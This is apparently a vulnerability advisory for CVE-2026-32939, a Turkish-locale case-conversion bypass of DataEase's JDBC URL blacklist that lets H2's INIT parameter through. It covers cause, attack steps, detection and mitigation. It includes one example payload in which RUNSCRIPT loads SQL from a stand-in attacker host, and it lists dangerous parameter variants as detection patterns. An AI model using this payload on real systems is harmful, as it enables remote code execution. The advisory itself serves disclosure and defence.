CVE-2026-32939: DataEase Authentication Bypass Vulnerability

CVE-2026-32939 Overview

DataEase is an open source data visualization analysis tool that contains a locale-based security validation bypass vulnerability in versions 2.10.19 and below. The vulnerability stems from inconsistent Locale handling between the JDBC URL validation logic and the H2 JDBC engine's internal parsing. DataEase uses String.toUpperCase() without specifying an explicit Locale, causing its security checks to rely on the JVM's default runtime locale, while H2 JDBC always normalizes URLs using Locale.ENGLISH. This discrepancy allows attackers to smuggle dangerous JDBC parameters past DataEase's security validation.

Critical Impact

Attackers can bypass security validation and inject malicious JDBC parameters in Turkish locale environments (tr_TR), potentially leading to unauthorized database operations or remote code execution through the H2 JDBC INIT parameter.

Affected Products

• DataEase versions 2.10.19 and below
• DataEase deployments running under Turkish locale (tr_TR) or similar affected regional settings
• Systems using H2 database with DataEase data source connections

Discovery Timeline

• 2026-03-20 - CVE-2026-32939 published to NVD
• 2026-03-23 - Last updated in NVD database

Technical Details for CVE-2026-32939

Vulnerability Analysis

This vulnerability exploits a fundamental difference in how character case conversion is handled between DataEase's input validation layer and the underlying H2 JDBC driver. The root cause lies in locale-sensitive string operations that behave differently across language settings.

In Turkish locale environments, the lowercase letter i converts to İ (Unicode U+0130, Latin Capital Letter I With Dot Above) rather than the standard ASCII I (Unicode U+0049). This is a known internationalization consideration in Java applications. When DataEase performs security checks using String.toUpperCase() without specifying Locale.ENGLISH, a malicious input like iNIT becomes İNIT after conversion—which does not match the blacklisted keyword INIT.

However, the H2 JDBC engine consistently uses Locale.ENGLISH for URL parameter normalization, correctly interpreting iNIT as INIT. This parsing inconsistency creates a security gap where blocked JDBC parameters can be smuggled through DataEase's validation layer while still being executed by H2.

The attack has been confirmed as exploitable in real DataEase deployment scenarios running under affected regional settings, making this a practical security concern for organizations using DataEase in multilingual environments.

Root Cause

The vulnerability is classified under CWE-178 (Improper Handling of Case Sensitivity). The root cause is the missing explicit Locale specification in DataEase's string comparison operations. When String.toUpperCase() or String.toLowerCase() methods are called without a Locale parameter, they default to the JVM's system locale, which can produce unexpected results in non-English environments.

The fix requires DataEase to normalize strings using Locale.ENGLISH or Locale.ROOT to ensure consistent behavior regardless of the deployment environment's regional settings.

Attack Vector

The attack is network-based and requires low privilege level access to DataEase's data source configuration functionality. An attacker can exploit this vulnerability by:

1. Identifying a DataEase instance running under Turkish locale (tr_TR) or another affected locale
2. Crafting a malicious JDBC URL containing parameters like iNIT instead of INIT
3. Submitting the URL through DataEase's data source configuration interface
4. The malicious parameter bypasses DataEase's blacklist validation
5. H2 JDBC correctly interprets the parameter and executes the dangerous operation

For example, an attacker could use a payload containing iNIT=RUNSCRIPT FROM 'http://attacker.com/malicious.sql' where the lowercase i would bypass DataEase's security checks while still being processed by H2 as the INIT parameter, potentially enabling arbitrary SQL execution or remote code execution.

Detection Methods for CVE-2026-32939

Indicators of Compromise

• JDBC connection URLs containing unusual character variations of known dangerous parameters (e.g., iNIT, ınit, İNIT)
• Data source configuration attempts with non-ASCII characters in parameter names
• Unexpected H2 database script executions or external resource loads
• Application logs showing JDBC connections with suspicious URL patterns

Detection Strategies

• Implement monitoring for data source configuration changes in DataEase audit logs
• Alert on JDBC URLs containing the INIT, RUNSCRIPT, or similar dangerous H2 parameters in any character case variation
• Deploy application-layer inspection for Unicode characters in database connection strings
• Monitor for external network connections originating from H2 database processes

Monitoring Recommendations

• Enable verbose logging for DataEase data source operations and review for anomalous patterns
• Configure network monitoring to detect outbound connections from the DataEase/H2 process to unexpected destinations
• Implement file integrity monitoring on DataEase configuration files
• Review system locale settings across DataEase deployment infrastructure

How to Mitigate CVE-2026-32939

Immediate Actions Required

• Upgrade DataEase to version 2.10.20 or later immediately
• Review existing data source configurations for suspicious JDBC URLs
• Restrict access to DataEase data source configuration functionality to trusted administrators only
• Consider temporarily disabling H2 database connectivity until patches are applied

Patch Information

The vulnerability has been fixed in DataEase version 2.10.20. The fix is available via the GitHub Release v2.10.20. The patch ensures that string normalization operations use Locale.ENGLISH consistently, eliminating the locale-based parsing discrepancy.

For detailed technical information about the fix, refer to the GitHub Commit and the GitHub Security Advisory GHSA-pj7p-3m49-52qq.

Workarounds

• Configure the JVM to use English locale (-Duser.language=en -Duser.country=US) to prevent locale-based bypass attacks
• Implement network-level filtering to block JDBC URLs containing known dangerous parameters
• Restrict access to data source configuration endpoints using firewall rules or application-level access controls
• Disable H2 database features that allow external script execution if not required for operations